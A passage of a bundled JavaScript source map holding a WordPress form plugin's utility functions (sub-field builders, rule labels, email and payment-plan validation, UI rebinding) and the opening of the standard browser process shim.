_.isEmpty( field.month_label ) ) {\n\t\tmonth_label = fieldLabel + ' - ' + field.month_label;\n\t} else {\n\t\tmonth_label = fieldLabel + ' - ' + translate( 'Month' );\n\t}\n\n\tlet year_label;\n\tif ( ! _.isUndefined( field.year_label ) && ! _.isEmpty( field.year_label ) ) {\n\t\tyear_label = fieldLabel + ' - ' + field.year_label;\n\t} else {\n\t\tyear_label = fieldLabel + ' - ' + translate( 'Year' );\n\t}\n\tif( field.field_type === 'input' ){\n\t\tfieldsArray.push(\n\t\t\t{\n\t\t\t\telement_id: field.element_id + '-day',\n\t\t\t\tparent_group: parentGroup,\n\t\t\t\trequired: field.required,\n\t\t\t\tfield_type: field.type,\n\t\t\t\tfield_slug: field.type + '-day',\n\t\t\t\tlabel: day_label,\n\t\t\t\tvalues: false,\n\t\t\t\thasOptions: false,\n\t\t\t\tisNumber: true,\n\t\t\t},\n\t\t\t{\n\t\t\t\telement_id: field.element_id + '-month',\n\t\t\t\tparent_group: parentGroup,\n\t\t\t\trequired: field.required,\n\t\t\t\tfield_type: field.type,\n\t\t\t\tfield_slug: field.type + '-month',\n\t\t\t\tlabel: month_label,\n\t\t\t\tvalues: false,\n\t\t\t\thasOptions: false,\n\t\t\t\tisNumber: true,\n\t\t\t},\n\t\t\t{\n\t\t\t\telement_id: field.element_id + '-year',\n\t\t\t\tparent_group: parentGroup,\n\t\t\t\trequired: field.required,\n\t\t\t\tfield_type: field.type,\n\t\t\t\tfield_slug: field.type + '-year',\n\t\t\t\tlabel: year_label,\n\t\t\t\tvalues: false,\n\t\t\t\thasOptions: false,\n\t\t\t\tisNumber: true,\n\t\t\t}\n\t\t);\n\t}else{\n\t\tfieldsArray.push(\n\t\t\t{\n\t\t\t\telement_id: field.element_id + '-day',\n\t\t\t\tparent_group: parentGroup,\n\t\t\t\trequired: field.required,\n\t\t\t\tfield_type: field.type,\n\t\t\t\tfield_slug: field.type + '-day',\n\t\t\t\tlabel: day_label,\n\t\t\t\tvalues: getFieldValues( field ),\n\t\t\t\thasOptions: fieldHasOptions( field ),\n\t\t\t\tisNumber: fieldHasNumber( field ),\n\t\t\t},\n\t\t\t{\n\t\t\t\telement_id: field.element_id + '-month',\n\t\t\t\tparent_group: parentGroup,\n\t\t\t\trequired: field.required,\n\t\t\t\tfield_type: field.type,\n\t\t\t\tfield_slug: field.type + '-month',\n\t\t\t\tlabel: month_label,\n\t\t\t\tvalues: getFieldValues( field ),\n\t\t\t\thasOptions: fieldHasOptions( field ),\n\t\t\t\tisNumber: fieldHasNumber( field ),\n\t\t\t},\n\t\t\t{\n\t\t\t\telement_id: field.element_id + '-year',\n\t\t\t\tparent_group: parentGroup,\n\t\t\t\trequired: field.required,\n\t\t\t\tfield_type: field.type,\n\t\t\t\tfield_slug: field.type + '-year',\n\t\t\t\tlabel: year_label,\n\t\t\t\tvalues: getFieldValues( field ),\n\t\t\t\thasOptions: fieldHasOptions( field ),\n\t\t\t\tisNumber: fieldHasNumber( field ),\n\t\t\t}\n\t\t);\n\t}\n\n\treturn fieldsArray;\n}\n\n/**\n * Get name_fields (support multiple name fields)\n * @param {object} field field to parse\n * @param {string} fieldLabel parent label\n * @returns {Array}\n **/\nexport function getNameFields( field, fieldLabel, parentGroup ) {\n\tconst fieldsArray = [];\n\t//handle multiple name\n\tif ( field.multiple_name === 'true' || true === field.multiple_name ) {\n\t\t[\n\t\t\t{\n\t\t\t\tattr: 'prefix',\n\t\t\t\tlabel: 'prefix_label',\n\t\t\t\telement_suffix: 'prefix',\n\t\t\t\thasOptions: true,\n\t\t\t\tvalues: [\n\t\t\t\t\t{ label: 'Mr.', value: 'Mr' },\n\t\t\t\t\t{ label: 'Mrs.', value: 'Mrs' },\n\t\t\t\t\t{ label: 'Ms.', value: 'Ms' },\n\t\t\t\t\t{ label: 'Mx.', value: 'Mx' },\n\t\t\t\t\t{ label: 'Miss', value: 'Miss' },\n\t\t\t\t\t{ label: 'Dr.', value: 'Dr' },\n\t\t\t\t\t{ label: 'Prof.', value: 'Prof' },\n\t\t\t\t],\n\t\t\t\tisNumber: false,\n\t\t\t},\n\t\t\t{\n\t\t\t\tattr: 'fname',\n\t\t\t\tlabel: 'fname_label',\n\t\t\t\telement_suffix: 'first-name',\n\t\t\t\thasOptions: false,\n\t\t\t\tvalues: false,\n\t\t\t\tisNumber: false,\n\t\t\t},\n\t\t\t{\n\t\t\t\tattr: 'mname',\n\t\t\t\tlabel: 'mname_label',\n\t\t\t\telement_suffix: 'middle-name',\n\t\t\t\thasOptions: false,\n\t\t\t\tvalues: false,\n\t\t\t\tisNumber: false,\n\t\t\t},\n\t\t\t{\n\t\t\t\tattr: 'lname',\n\t\t\t\tlabel: 'lname_label',\n\t\t\t\telement_suffix: 'last-name',\n\t\t\t\thasOptions: false,\n\t\t\t\tvalues: false,\n\t\t\t\tisNumber: false,\n\t\t\t},\n\t\t].map( attribute => {\n\t\t\tif ( field[ attribute.attr ] === 'true' || field[ attribute.attr ] === true ) {\n\t\t\t\tlet label;\n\t\t\t\tif ( ! _.isUndefined( field[ attribute.label ] ) && ! _.isEmpty( field[ attribute.label ] ) ) {\n\t\t\t\t\tlabel = fieldLabel + ' - ' + field[ attribute.label ];\n\t\t\t\t} else {\n\t\t\t\t\tlabel = fieldLabel + ' - ';\n\t\t\t\t}\n\n\t\t\t\tfieldsArray.push( {\n\t\t\t\t\telement_id: field.element_id + '-' + attribute.element_suffix,\n\t\t\t\t\tparent_group: parentGroup,\n\t\t\t\t\trequired: field.required,\n\t\t\t\t\tfield_type: field.type,\n\t\t\t\t\tfield_slug: field.type + '-' + attribute.element_suffix,\n\t\t\t\t\tlabel: label,\n\t\t\t\t\tvalues: attribute.values,\n\t\t\t\t\thasOptions: attribute.hasOptions,\n\t\t\t\t\tisNumber: attribute.isNumber,\n\t\t\t\t} );\n\t\t\t}\n\t\t} );\n\t} else {\n\t\tfieldsArray.push( {\n\t\t\telement_id: field.element_id,\n\t\t\tparent_group: parentGroup,\n\t\t\trequired: field.required,\n\t\t\tfield_type: field.type,\n\t\t\tfield_slug: field.type,\n\t\t\tlabel: fieldLabel,\n\t\t\tvalues: getFieldValues( field ),\n\t\t\thasOptions: fieldHasOptions( field ),\n\t\t\tisNumber: fieldHasNumber( field ),\n\t\t} );\n\t}\n\n\treturn fieldsArray;\n}\n\n/**\n * Get Range Slider fields\n * @param {object} field field to parse\n * @param {string} fieldLabel parent label\n * @returns {Array}\n **/\nexport function getRangeSliderFields( field, fieldLabel, parentGroup ) {\n\tconst fieldsArray = [];\n\t\t[\n\t\t\t{\n\t\t\t\tsuffix: 'min',\n\t\t\t},\n\t\t\t{\n\t\t\t\tsuffix: 'max',\n\t\t\t},\n\t\t].map( attribute => {\n\t\t\tfieldsArray.push( {\n\t\t\t\telement_id: field.element_id + '-' + attribute.suffix,\n\t\t\t\tparent_group: parentGroup,\n\t\t\t\trequired: field.required,\n\t\t\t\tfield_type: field.type,\n\t\t\t\tfield_slug: field.type + '-' + attribute.suffix,\n\t\t\t\tlabel: fieldLabel + ' - ' + attribute.suffix,\n\t\t\t\tisNumber: true,\n\t\t\t\thasCalcs: fieldHasCalcs( field ),\n\t\t\t} );\n\t\t} );\n\n\treturn fieldsArray;\n}\n\n/*\n * Returns if field has number\n */\nexport function fieldHasNumber( field ) {\n\tif ( _.contains( [ 'calculation', 'number', 'slider', 'phone', 'currency' ], field.type ) ) {\n\t\treturn true;\n\t}\n\n\treturn false;\n}\n\n/*\n * Returns if field has calculations enabled\n */\nexport function fieldHasCalcs( field ) {\n\tif ( field.calculations === 'true' || field.calculations === true ) {\n\t\treturn true;\n\t}\n\n\treturn false;\n}\n\nexport function fieldFormula( field ) {\n\tif ( field.formula ) {\n\t\treturn field.formula;\n\t}\n\n\treturn false;\n}\n\n/*\n * Returns if field has options\n */\nexport function fieldHasOptions( field ) {\n\tif ( field.type === 'select' || field.type === 'checkbox' || field.type === 'radio' ) {\n\t\treturn true;\n\t}\n\n\treturn false;\n}\n\n/*\n * Returns field values\n */\nexport function getFieldValues( field ) {\n\tconst type = field.type;\n\n\tif ( type === 'select' || type === 'checkbox' || type === 'radio' ) {\n\t\treturn field.options;\n\t}\n\n\treturn false;\n}\n\n/**\n * Get address_fields (support multi sub fields)\n * @param {object} field field\n * @param {string} fieldLabel lbel\n * @returns {array}\n **/\nexport function getAddressFields( field, fieldLabel, parentGroup ) {\n\tconst fieldsArray = [];\n\n\t[\n\t\t{\n\t\t\tattr: 'street_address',\n\t\t\tlabel: 'street_address_label',\n\t\t\telement_suffix: 'street_address',\n\t\t\thasOptions: false,\n\t\t\tvalues: false,\n\t\t\tisNumber: false,\n\t\t},\n\t\t{\n\t\t\tattr: 'address_line',\n\t\t\tlabel: 'address_line_label',\n\t\t\telement_suffix: 'address_line',\n\t\t\thasOptions: false,\n\t\t\tvalues: false,\n\t\t\tisNumber: false,\n\t\t},\n\t\t{\n\t\t\tattr: 'address_city',\n\t\t\tlabel: 'address_city_label',\n\t\t\telement_suffix: 'city',\n\t\t\thasOptions: false,\n\t\t\tvalues: false,\n\t\t\tisNumber: false,\n\t\t},\n\t\t{\n\t\t\tattr: 'address_state',\n\t\t\tlabel: 'address_state_label',\n\t\t\telement_suffix: 'state',\n\t\t\thasOptions: false,\n\t\t\tvalues: false,\n\t\t\tisNumber: false,\n\t\t},\n\t\t{\n\t\t\tattr: 'address_zip',\n\t\t\tlabel: 'address_zip_label',\n\t\t\telement_suffix: 'zip',\n\t\t\thasOptions: false,\n\t\t\tvalues: false,\n\t\t\tisNumber: false,\n\t\t},\n\t\t{\n\t\t\tattr: 'address_country',\n\t\t\tlabel: 'address_country_label',\n\t\t\telement_suffix: 'country',\n\t\t\thasOptions: false,\n\t\t\tvalues: false,\n\t\t\tisNumber: false,\n\t\t},\n\t].map( attribute => {\n\t\tif ( isTrue( field[ attribute.attr ] ) ) {\n\t\t\tlet label;\n\t\t\tif ( ! _.isUndefined( field[ attribute.label ] ) && ! _.isEmpty( field[ attribute.label ] ) ) {\n\t\t\t\tlabel = fieldLabel + ' - ' + field[ attribute.label ];\n\t\t\t} else {\n\t\t\t\tlabel = fieldLabel + ' - ';\n\t\t\t}\n\n\t\t\tfieldsArray.push( {\n\t\t\t\telement_id: field.element_id + '-' + attribute.element_suffix,\n\t\t\t\tparent_group: parentGroup,\n\t\t\t\trequired: field.required,\n\t\t\t\tfield_type: field.type,\n\t\t\t\tfield_slug: field.type + '-' + attribute.element_suffix,\n\t\t\t\tlabel: label,\n\t\t\t\tvalues: attribute.values,\n\t\t\t\thasOptions: attribute.hasOptions,\n\t\t\t\tisNumber: attribute.isNumber,\n\t\t\t} );\n\t\t}\n\t} );\n\n\treturn fieldsArray;\n}\n\n/**\n * Get time_fields (support multi sub fields)\n * @param {object} field field\n * @param {string} fieldLabel label\n * @returns {array}\n **/\nexport function getTimeFields( field, fieldLabel, parentGroup ) {\n\tconst fieldsArray = [];\n\n\tlet hh_label;\n\tif ( ! _.isUndefined( field.hh_label ) && ! _.isEmpty( field.hh_label ) ) {\n\t\thh_label = fieldLabel + ' - ' + field.hh_label;\n\t} else {\n\t\thh_label = fieldLabel + ' - ' + translate( 'Hour' );\n\t}\n\n\tlet mm_label;\n\tif ( ! _.isUndefined( field.mm_label ) && ! _.isEmpty( field.mm_label ) ) {\n\t\tmm_label = fieldLabel + ' - ' + field.mm_label;\n\t} else {\n\t\tmm_label = fieldLabel + ' - ' + translate( 'Minute' );\n\t}\n\n\tfieldsArray.push(\n\t\t{\n\t\t\telement_id: field.element_id + '-hours',\n\t\t\tparent_group: parentGroup,\n\t\t\trequired: field.required,\n\t\t\tfield_type: field.type,\n\t\t\tfield_slug: field.type + '-hours',\n\t\t\tlabel: hh_label,\n\t\t\tvalues: false,\n\t\t\thasOptions: false,\n\t\t\tisNumber: true,\n\t\t},\n\t\t{\n\t\t\telement_id: field.element_id + '-minutes',\n\t\t\tparent_group: parentGroup,\n\t\t\trequired: field.required,\n\t\t\tfield_type: field.type,\n\t\t\tfield_slug: field.type + '-minutes',\n\t\t\tlabel: mm_label,\n\t\t\tvalues: false,\n\t\t\thasOptions: false,\n\t\t\tisNumber: true,\n\t\t}\n\t);\n\n\tif ( field.time_type === 'twelve' ) {\n\t\tfieldsArray.push( {\n\t\t\telement_id: field.element_id + '-ampm',\n\t\t\tparent_group: parentGroup,\n\t\t\trequired: field.required,\n\t\t\tfield_type: field.type,\n\t\t\tfield_slug: field.type + '-ampm',\n\t\t\tlabel: fieldLabel + '-AM/PM',\n\t\t\tvalues: [ { label: 'AM', value: 'am' }, { label: 'PM', value: 'pm' } ],\n\t\t\thasOptions: true,\n\t\t\tisNumber: false,\n\t\t} );\n\t}\n\n\treturn fieldsArray;\n}\n\n/**\n *\n * @param {string} fieldType fieldType\n * @returns {array}\n **/\nexport function getFieldAutofillProviders( fieldType ) {\n\tlet autofillProviders = [];\n\tlet fieldSettings = forminatorData.fields.filter( field => {\n\t\treturn field.type === fieldType;\n\t} );\n\n\tif ( fieldSettings.length < 1 ) {\n\t\treturn [];\n\t}\n\n\tfieldSettings = fieldSettings[ 0 ];\n\tif ( ! _.isUndefined( fieldSettings.autofill_settings ) ) {\n\t\tautofillProviders = fieldSettings.autofill_settings;\n\t}\n\n\treturn autofillProviders;\n}\n\n/**\n * Returns label by rule value\n *\n * @param {string} rule rule\n * @param {string} type type\n * @param {mix} type value ( optional )\n * @returns {string}\n **/\nexport function getRuleLabel( rule, type , value ) {\n\tlet val = ( !_.isUndefined( value ) ) ? value : '';\n\tswitch ( rule ) {\n\t\tcase 'is':\n\t\t\treturn translate( 'is' );\n\t\tcase 'is_not':\n\t\t\treturn translate( 'is not' );\n\t\tcase 'day_is':\n\t\t\treturn translate( 'day is' );\n\t\tcase 'day_is_not':\n\t\t\treturn translate( 'day is not' );\n\t\tcase 'month_is_not':\n\t\t\treturn translate( 'month is not' );\n\t\tcase 'month_is':\n\t\t\treturn translate( 'month is' );\n\t\tcase 'is_before':\n\t\t\treturn translate( 'is before' );\n\t\tcase 'is_after':\n\t\t\treturn translate( 'is after' );\n\t\tcase 'is_before_n_or_more_days':\n\t\t\treturn translate( 'is before %s or more days from current date' ).replace( '%s', val );\n\t\tcase 'is_before_less_than_n_days':\n\t\t\treturn translate( 'is before less than %s days from current date' ).replace( '%s', val );\n\t\tcase 'is_after_n_or_more_days':\n\t\t\treturn translate( 'is after %s or more days from current date' ).replace( '%s', val );\n\t\tcase 'is_after_less_than_n_days':\n\t\t\treturn translate( 'is after less than %s days from current date' ).replace( '%s', val );\n\t\tcase 'is_great':\n\t\t\treturn translate( 'is greater than' );\n\t\tcase 'is_less':\n\t\t\treturn translate( 'is less than' );\n\t\tcase 'contains':\n\t\t\treturn translate( 'contains' );\n\t\tcase 'starts':\n\t\t\treturn translate( 'starts with' );\n\t\tcase 'ends':\n\t\t\treturn translate( 'ends with' );\n\t\tcase 'is_correct':\n\t\t\treturn translate( 'is correct' );\n\t\tcase 'is_incorrect':\n\t\t\treturn translate( 'is incorrect' );\n\t\t// Personality quiz rules.\n\t\tcase 'is_final_result':\n\t\t\treturn translate( 'is final result' );\n\t\tcase 'is_not_final_result':\n\t\t\treturn translate( 'is not final result' );\n\t\tdefault:\n\t\t\treturn '-';\n\t}\n}\n\n/**\n * Return if value is valid email wp\n *\n * @param {string} value value to check\n * @returns {bool}\n **/\nexport function isEmailWp( value ) {\n\tif ( value.length < 6 ) {\n\t\treturn false;\n\t}\n\n\t// Test for an @ character after the first position\n\tif ( value.indexOf( '@', 1 ) < 0 ) {\n\t\treturn false;\n\t}\n\n\t// Split out the local and domain parts\n\tconst parts = value.split( '@', 2 );\n\n\t// LOCAL PART\n\t// Test for invalid characters\n\tif ( ! parts[ 0 ].match( /^[a-zA-Z0-9!#$%&'*+\\/=?^_`{|}~\\.-]+$/ ) ) {\n\t\treturn false;\n\t}\n\n\t// DOMAIN PART\n\t// Test for sequences of periods\n\tif ( parts[ 1 ].match( /\\.{2,}/ ) ) {\n\t\treturn false;\n\t}\n\n\tconst domain = parts[ 1 ];\n\t// Split the domain into subs\n\tconst subs = domain.split( '.' );\n\tif ( subs.length < 2 ) {\n\t\treturn false;\n\t}\n\n\tconst subsLen = subs.length;\n\tfor ( let i = 0; i < subsLen; i++ ) {\n\t\t// Test for invalid characters\n\t\tif ( ! subs[ i ].match( /^[a-z0-9-]+$/i ) ) {\n\t\t\treturn false;\n\t\t}\n\t}\n\treturn true;\n}\n\n/**\n * Display SUI JS Elements\n **/\nexport function suiDelegateEvents() {\n\tif ( 'object' !== typeof window.SUI ) {\n\t\treturn;\n\t}\n\n\t// Time it out\n\tsetTimeout( function() {\n\t\t// Rebind Accordion scripts\n\t\tSUI.suiAccordion( jQuery( '.sui-accordion' ) );\n\n\t\t// Rebind Tabs scripts\n\t\tSUI.suiTabs( jQuery( '.sui-tabs' ) );\n\n\t\t// Rebind Select2 scripts.\n\t\tjQuery( 'select.sui-select[data-theme=\"icon\"]' ).each( function() {\n\t\t\tSUI.select.initIcon( jQuery( this ) );\n\t\t} );\n\n\t\tjQuery( 'select.sui-select[data-theme=\"color\"]' ).each( function() {\n\t\t\tSUI.select.initColor( jQuery( this ) );\n\t\t} );\n\n\t\tjQuery( 'select.sui-select[data-theme=\"search\"]' ).each( function() {\n\t\t\tSUI.select.initSearch( jQuery( this ) );\n\t\t} );\n\n\t\tjQuery( 'select.sui-select:not([data-theme]):not(.custom-select2):not(.fui-multi-select)' ).each( function() {\n\t\t\tSUI.select.init( jQuery( this ) );\n\t\t} );\n\n\t\t// Rebind Variables scripts.\n\t\tjQuery( 'select.sui-variables' ).each( function() {\n\t\t\tSUI.select.initVars( jQuery( this ) );\n\t\t} );\n\n\t\t// Rebind Circle scripts\n\t\tSUI.loadCircleScore( jQuery( '.sui-circle-score' ) );\n\n\t\t// Rebind Password scripts\n\t\tSUI.showHidePassword();\n\t}, 50 );\n}\n\n/**\n * Returns chart type from settings\n *\n * @param {array} settings Settings array\n *\n * @return {string} Chart type\n */\nexport function getChartType( settings ) {\n\tlet type = 'none';\n\n\tif ( typeof settings[ 'results-behav' ] && typeof settings[ 'results-style' ] ) {\n\t\tif ( settings[ 'results-behav' ] === 'link_on' || settings[ 'results-behav' ] === 'show_after' ) {\n\t\t\ttype = settings[ 'results-style' ];\n\t\t}\n\t}\n\n\treturn type;\n}\n\n/**\n * Returns array of calculation fields\n *\n * @param {array} wrappers current wrappers\n *\n * @return {array}\n **/\nexport function getCalculationFields( wrappers ) {\n\tconst disabled = [];\n\n\t// Push disabled fields\n\t_.each( forminatorData.fields, field => {\n\t\tif ( field.type !== 'calculation' ) {\n\t\t\tdisabled.push( field.type );\n\t\t}\n\t} );\n\n\treturn getFields( wrappers, disabled );\n}\n\n/**\n * Display Select2 with multiple tags\n *\n * @param {jQuery} $el jQuery wrapper el to find\n * @param {object} options Select2 options\n **/\nexport function select2Tags( $el, options ) {\n\toptions = _.defaults( options, {\n\t\tallowClear: true,\n\t\tdropdownCssClass: 'sui-select-dropdown',\n\t} );\n\n\t// SELECT2 forminator-ui-tags\n\t$el.find( 'select.sui-select.fui-multi-select' ).each( function() {\n\t\t// reorder-support, it will preserve order based on user tags added\n\t\tif ( jQuery( this ).attr( 'data-reorder' ) ) {\n\t\t\tjQuery( this ).on( 'select2:select', function( e ) {\n\t\t\t\tconst elm = e.params.data.element,\n\t\t\t\t\t$elm = jQuery( elm ),\n\t\t\t\t\t$t = jQuery( this );\n\t\t\t\t$t.append( $elm );\n\t\t\t\t$t.trigger( 'change.select2' );\n\t\t\t} );\n\t\t}\n\t\tjQuery( this ).SUIselect2( options );\n\t} );\n}\n\n/**\n * Returns if field is required\n *\n * @param {object} field field\n *\n * @return {bool}\n **/\nexport function isFieldRequired( field ) {\n\t// Handle name field sub fields\n\tif ( field.type === 'name' ) {\n\t\tif ( field.multiple_name === 'true' || field.multiple_name === true ) {\n\t\t\t// We have multi field\n\n\t\t\tif ( field[ 'prefix_required' ] ||\n\t\t\t\tfield[ 'fname_required' ] ||\n\t\t\t\tfield[ 'mname_required' ] ||\n\t\t\t\tfield[ 'lname_required' ]\n\t\t\t) {\n\t\t\t\treturn true;\n\t\t\t} else {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t}\n\n\t// Handle name field sub fields\n\tif ( field.type === 'address' ) {\n\t\tif ( field[ 'street_address_required' ] ||\n\t\t\tfield[ 'address_line_required' ] ||\n\t\t\tfield[ 'address_city_required' ] ||\n\t\t\tfield[ 'address_state_required' ] ||\n\t\t\tfield[ 'address_zip_required' ] ||\n\t\t\tfield[ 'address_country_required' ]\n\t\t) {\n\t\t\treturn true;\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}\n\n\t// Fallback to default required prop\n\treturn field.required;\n}\n\n/*\n * Returns if form has a field with requested attribute and the requested value\n */\nexport function hasFieldWithAttribute( wrappers, type, attribute, value ) {\n\tlet counter = 0;\n\n\tif ( isGlobalPreset( wrappers ) ) {\n\t\treturn true;\n\t}\n\n\twrappers.map( wrapper => {\n\t\twrapper.fields.map( field => {\n\t\t\tif ( type === field.type && value === field[ attribute ] ) {\n\t\t\t\tcounter++;\n\t\t\t}\n\t\t} );\n\t} );\n\n\treturn counter > 0;\n}\n\n/*\n * Returns if form has a field with multiple category\n */\nexport function hasPostdataFieldWithMultiselect( wrappers ) {\n\tlet counter = 0;\n\n\tif ( isGlobalPreset( wrappers ) ) {\n\t\treturn true;\n\t}\n\n\twrappers.map( wrapper => {\n\t\twrapper.fields.map( field => {\n\t\t\tconst post_category = forminatorData.postCategories[ field.post_type ];\n\t\t\tif( typeof post_category !== 'undefined' ) {\n\t\t\t\tpost_category.map( category => {\n\t\t\t\t\tconst category_key = category.value + '_multiple';\n\t\t\t\t\tif( 1 === parseInt( field[ category_key ] ) ) {\n\t\t\t\t\t\tcounter++;\n\t\t\t\t\t}\n\t\t\t\t} );\n\t\t\t}\n\t\t} );\n\t} );\n\n\treturn counter > 0;\n}\n\n/**\n * Returns array of personality questions\n *\n * @param {array}\n *\n * @return {array}\n **/\nexport function getPersonalityQuestions( currentPersonality, questions ) {\n\tconst personalitySlug = currentPersonality.slug;\n\tlet questionsArray = [];\n\n\tif ( ! _.isEmpty( questions ) ) {\n\t\t_.each( questions, function( question, keyQuestion ) {\n\t\t\tif ( ! _.isEmpty( question.answers ) ) {\n\t\t\t\t_.each( question.answers, function( answer, keyAnswer ) {\n\t\t\t\t\tif ( answer.result === personalitySlug ) {\n\t\t\t\t\t\tquestionsArray.push( {\n\t\t\t\t\t\t\ttitle: question.title,\n\t\t\t\t\t\t\tslug: question.slug,\n\t\t\t\t\t\t\tquestion: question,\n\t\t\t\t\t\t} );\n\t\t\t\t\t}\n\t\t\t\t} );\n\t\t\t}\n\t\t} );\n\t\tquestionsArray = _.uniq( questionsArray, 'slug' );\n\t}\n\n\treturn questionsArray;\n}\n\n/**\n * Get payment plan validation\n *\n * @param {array} validation\n * @param {array} payments\n *\n * @return {array}\n */\nexport function getPlanValidation( validation, payments ) {\n\n\tlet paymentIndex = [];\n\n\t_.each( payments, function( payment, index ) {\n\t\tif ( ! payment.amount_type || ! payment.plan_name ) {\n\t\t\tvalidation.error = translate( 'Please fix the error(s) in the SETTINGS tab.' );\n\t\t\tvalidation.isValid = false;\n\t\t\tpaymentIndex.push( index );\n\t\t}\n\n\t\tif ( 'single' === payment.payment_method &&\n\t\t\t( ( 'fixed' === payment.amount_type && _.isEmpty( payment.amount ) ) ||\n\t\t\t\t( 'variable' === payment.amount_type && _.isEmpty( payment.variable ) )\n\t\t\t)\n\t\t) {\n\t\t\tvalidation.error = translate( 'Please fix the error(s) in the SETTINGS tab.' );\n\t\t\tvalidation.isValid = false;\n\t\t\tpaymentIndex.push( index );\n\t\t} else if ( 'subscription' === payment.payment_method ) {\n\t\t\tconst subscriptionAmount = ! _.isUndefined( payment.subscription_amount_type )\n\t\t\t\t? payment.subscription_amount_type\n\t\t\t\t: 'fixed';\n\t\t\tconst subscriptionQuantity = ! _.isUndefined( payment.quantity_type )\n\t\t\t\t? payment.quantity_type\n\t\t\t\t: 'fixed';\n\t\t\tconst Quantity = ! _.isUndefined( payment.quantity )\n\t\t\t\t? payment.quantity\n\t\t\t\t: 1;\n\t\t\tconst BillInput = ! _.isUndefined( payment.bill_input )\n\t\t\t\t? payment.bill_input\n\t\t\t\t: 1;\n\t\t\tif ( ( 'fixed' === subscriptionAmount && _.isEmpty( payment.subscription_amount ) ) ||\n\t\t\t\t( 'variable' === subscriptionAmount && _.isEmpty( payment.subscription_variable ) )\n\t\t\t) {\n\t\t\t\tvalidation.error = translate( 'Please fix the error(s) in the SETTINGS tab.' );\n\t\t\t\tvalidation.isValid = false;\n\t\t\t\tpaymentIndex.push( index );\n\t\t\t}\n\t\t\tif ( ( 'fixed' === subscriptionQuantity && ! Quantity ) ||\n\t\t\t\t( 'variable' === subscriptionQuantity && _.isEmpty( payment.variable_quantity ) )\n\t\t\t) {\n\t\t\t\tvalidation.error = translate( 'Please fix the error(s) in the SETTINGS tab.' );\n\t\t\t\tvalidation.isValid = false;\n\t\t\t\tpaymentIndex.push( index );\n\t\t\t}\n\t\t\tif ( ! BillInput ) {\n\t\t\t\tvalidation.error = translate( 'Please fix the error(s) in the SETTINGS tab.' );\n\t\t\t\tvalidation.isValid = false;\n\t\t\t\tpaymentIndex.push( index );\n\t\t\t} else if ( BillInput <= 0 ) {\n\t\t\t\tvalidation.error = translate( 'Billing frequency should be greater than or equal to 1' );\n\t\t\t\tvalidation.isValid = false;\n\t\t\t\tpaymentIndex.push( index );\n\t\t\t}\n\t\t}\n\t} );\n\n\tif ( paymentIndex.length > 0 ) {\n\t\tvalidation.paymentKey = paymentIndex;\n\t}\n\n\treturn validation;\n}\n\n/**\n * Check if value evaluates to true\n *\n * @param {string} value\n *\n * @return {bool}\n */\nexport function isTrue ( value ){\n    if ( 'undefined' === typeof( value ) ) {\n\t\treturn false;\n    }\n    if ( 'string' === typeof( value ) ) {\n    \tvalue = value.trim().toLowerCase();\n    }\n\n    switch( value ){\n        case true:\n        case \"true\":\n        case 1:\n        case \"1\":\n        case \"on\":\n        case \"yes\":\n            return true;\n        default:\n            return false;\n    }\n}\n\n/**\n * Parse query string\n * *\n * @return {string}\n */\nexport function parseQueryString () {\n\tvar parsedParameters = {},\n\t\turiParameters = location.search.substring(1).split('&');\n\n\tfor (var i = 0; i < uriParameters.length; i++) {\n\t\tvar parameter = uriParameters[i].split('=');\n\t\tparsedParameters[parameter[0]] = decodeURIComponent(parameter[1]);\n\t}\n\n\treturn parsedParameters;\n}\n\n/** Go to link\n *\n * @param {string} value\n *\n */\nexport function goToLink ( link, target = '_blank' ) {\n\twindow.open( link, target );\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/utils.js","// shim for using process in browser\nvar process = module.exports = {};\n\n// cached from whatever global is present so that test runners that stub it\n// don't break things.  But we need to wrap it in a try catch in case it is\n// wrapped in strict mode code which doesn't define any globals.  It's inside a\n// function because try/catches deoptimize in certain engines.\n\nvar cachedSetTimeout;\nvar cachedClearTimeout;\n\nfunction defaultSetTimout() {\n    throw new Error('setTimeout has not been defined');\n}\nfunction defaultClearTimeout () {\n    throw new Error('clearTimeout has not been defined');\n}\n(function () {\n    try {\n        if (typeof setTimeout === 'function') {\n            cachedSetTimeout = setTimeout;\n        } else {\n            cachedSetTimeout = defaultSetTimout;\n        }\n    } catch (e) {\n        cachedSetTimeout = defaultSetTimout;\n    }\n    try {\n        if (typeof clearTimeout === 'function') {\n            cachedClearTimeout = clearTimeout;\n        } else {\n            cachedClearTimeout = defaultClearTimeout;\n        }\n    } catch (e) {\n        cachedClearTimeout = defaultClearTimeout;\n    }\n} ())\nfunction runTimeout(fun) {\n    if (cachedSetTimeout === setTimeout) {\n        //normal enviroments in sane situations\n        return setTimeout(fun, 0);\n    }\n    // if setTimeout wasn't available but was latter defined\n    if ((cachedSetTimeout === defaultSetTimout || !cachedSetTimeout) && setTimeout) {\n        cachedSetTimeout = setTimeout;\n        return setTimeout(fun, 0);\n    }\n    try {\n        // when when somebody has screwed with setTimeout but no I.E. maddness\n        return cachedSetTimeout(fun, 0);\n    } catch(e){\n        try {\n            // When we are in I.E. but the script has been evaled so I.E. doesn't trust the global object when called normally\n            return cachedSetTimeout.call(null, fun, 0);\n        } catch(e){\n            // same as above but when it's a version of I.E. that must have the global object for 'this', hopfully our context correct otherwise it will throw a global error\n            return cachedSetTimeout.call(this, fun, 0);\n        }\n    }\n\n\n}\nfunction runClearTimeout(marker) {\n    if (cachedClearTimeout === clearTimeout) {\n        //normal enviroments in sane situations\n        return clearTimeout(marker);\n    }\n    // if clearTimeout wasn't available but was latter defined\n    if ((cachedClearTimeout === defaultClearTimeout || !cachedClearTimeout) && clearTimeout) {\n        cachedClearTimeout = clearTimeout;\n        return clearTimeout(marker);\n    }\n    try {\n        // when when somebody has screwed with setTimeout but no I.E. maddness\n        return cachedClearTimeout(marker);\n    } catch (e){\n        try {\n            // When we are in I.E. but the script has been evaled so I.E. doesn't  trust the global object when called normally\n            return cachedClearTimeout.call(null, marker);\n        } catch (e){\n            // same as above but when it's a version of I.E. that must have the global object for 'this', hopfully our context correct otherwise it will throw a global error.\n            // Some versions of I.E. have different rules for clearTimeout vs setTimeout\n            return cachedClearTimeout.call(this, marker);\n        }\n    }\n\n\n\n}\nvar queue = [];\nvar draining = false;\nvar currentQueue;\nvar queueIndex = -1;\n\nfunction cleanUpNextTick() {\n    if (!draining || !currentQueue) {\n        return;\n    }\n    draining = false;\n    if (currentQueue.length) {\n        queue = currentQueue.concat(queue);\n    } else {\n        queueIndex = -1;\n    }\n    if 